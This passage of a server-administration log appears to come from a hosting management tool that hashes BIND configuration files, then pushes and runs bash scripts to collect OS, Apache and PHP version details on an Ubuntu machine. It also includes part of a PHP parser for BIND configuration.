			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 14:45:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp993695; rm /tmp/pkp993695'

2026-02-09 14:45:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= a6f5ca81adeede69c1b101c1993b263b
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 14:59:31: Establishing a remote connection
2026-02-09 14:59:31: 

PUT: /tmp/pkp158954

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-02-09 14:59:31: 

chmod 755 /tmp/pkp158954; /tmp/pkp158954; rm /tmp/pkp158954

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swapfile                               file		2097148		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-94-generic



2026-02-09 14:59:33: 

PUT: /tmp/pkp145837

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-02-09 14:59:33: 

chmod 755 /tmp/pkp145837; /tmp/pkp145837; rm /tmp/pkp145837



[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-12-09T15:50:28
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1763
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1763  0.0  0.3 225988 29008 ?        Ss   08:12   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-02-09 14:59:34: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'desktop',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swapfile',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2026-02-09 14:59:34: 

PUT: /tmp/pkp362124

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-02-09 14:59:34: 

chmod 755 /tmp/pkp362124; /tmp/pkp362124; rm /tmp/pkp362124

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)



2026-02-09 14:59:35: 

PUT: /tmp/pkp563415

#!/bin/bash
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
